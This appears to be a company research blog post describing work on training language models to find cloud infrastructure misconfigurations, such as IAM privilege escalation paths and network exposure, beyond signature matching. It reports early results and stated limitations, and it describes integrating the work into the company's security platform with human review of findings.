The dominant paradigm in vulnerability detection remains fundamentally reactive. Security tools identify threats by matching observations against databases of known signatures — CVE identifiers, YARA rules, Snort patterns. This approach works for known threats. It fails, by definition, for unknown ones. The question motivating our current research is whether AI systems can learn to detect vulnerabilities the way human security researchers do: by reasoning about what a system is supposed to do and identifying conditions under which it might not.
The limitations of signature-based detection
Signature-based systems have been the backbone of security tooling for decades, and for good reason. They are fast, deterministic, and well-understood. When a new vulnerability is catalogued, a signature can be written and deployed across millions of endpoints within hours. The coverage is broad and the false positive rate, for mature signatures, is low.
But the model has a structural limitation that no amount of engineering can overcome: it cannot find what it has not been told to look for. In cloud infrastructure, where configurations are complex, interdependencies are dynamic, and the attack surface changes with every deployment, the gap between what is known and what is exploitable grows wider continuously. The most consequential vulnerabilities — the ones that lead to breaches — are often novel configurations of known components that no signature was written to detect.
Learning to reason about vulnerability
Our research investigates whether language models can be trained to perform a form of security reasoning that goes beyond pattern matching. The core idea is straightforward in concept and difficult in execution: given a representation of a cloud environment — its IAM policies, network configurations, service dependencies, and access patterns — can a model identify conditions that constitute a vulnerability, even if that specific condition has never been catalogued?
We approach this by training models on structured representations of cloud configurations paired with expert annotations of security properties. The training data encodes not just what is vulnerable but why it is vulnerable — what property is violated, what access path is created, what assumption is broken. The goal is not to build a faster signature matcher but to build a system that develops an internal model of security constraints and can identify violations of those constraints in novel configurations.
Early results and honest limitations
Our preliminary experiments show that models trained on this data can identify certain classes of misconfiguration with accuracy comparable to purpose-built static analysis tools, particularly in IAM policy analysis and network exposure assessment. In controlled evaluations against known benchmark configurations, the model correctly identified privilege escalation paths and overly permissive access grants that were not present in its training data as explicit examples.
These results are encouraging but narrow. The model performs well on structured, well-defined configuration formats where the security properties are relatively clear. It performs significantly worse on ambiguous configurations where the vulnerability depends on runtime behavior, timing, or multi-step attack chains that require reasoning across multiple system boundaries. It also produces false positives at a rate that would be unacceptable in a production deployment without human review.
We state these limitations plainly because overstating the capabilities of security-relevant AI systems is not merely inaccurate — it is dangerous. Organizations that deploy vulnerability detection tools with inflated confidence in their coverage are, in a meaningful sense, less secure than those that understand the boundaries of their tooling.
Implications for Claeth
This research informs the development of Claeth, Neuraphic's security platform. The long-term vision for Claeth is a system that can continuously analyze cloud infrastructure and surface risks that traditional tools miss — not as a replacement for existing security practices, but as an additional layer of analysis that operates on a different principle.
In the near term, we are integrating the more reliable capabilities from this research — IAM analysis and network exposure assessment — into Claeth's scanning pipeline, where they operate alongside conventional rule-based checks. The model's outputs are presented as hypotheses for human review, not as definitive findings. We believe this is the appropriate posture for a technology that shows genuine promise but has not yet earned the trust required for autonomous operation.
The path forward
The question of whether AI can autonomously detect vulnerabilities in complex infrastructure does not have a binary answer. For some classes of vulnerability, the answer is approaching yes. For others, we are far from it. The research direction is to systematically expand the boundary of what models can reliably detect while maintaining rigorous honesty about where that boundary lies.
We will publish more detailed technical findings as this work matures. For now, we offer this summary as a description of the problem we are working on, the approach we are taking, and the standard of evidence we hold ourselves to. In security, as in science, the claims that matter are the ones that survive scrutiny.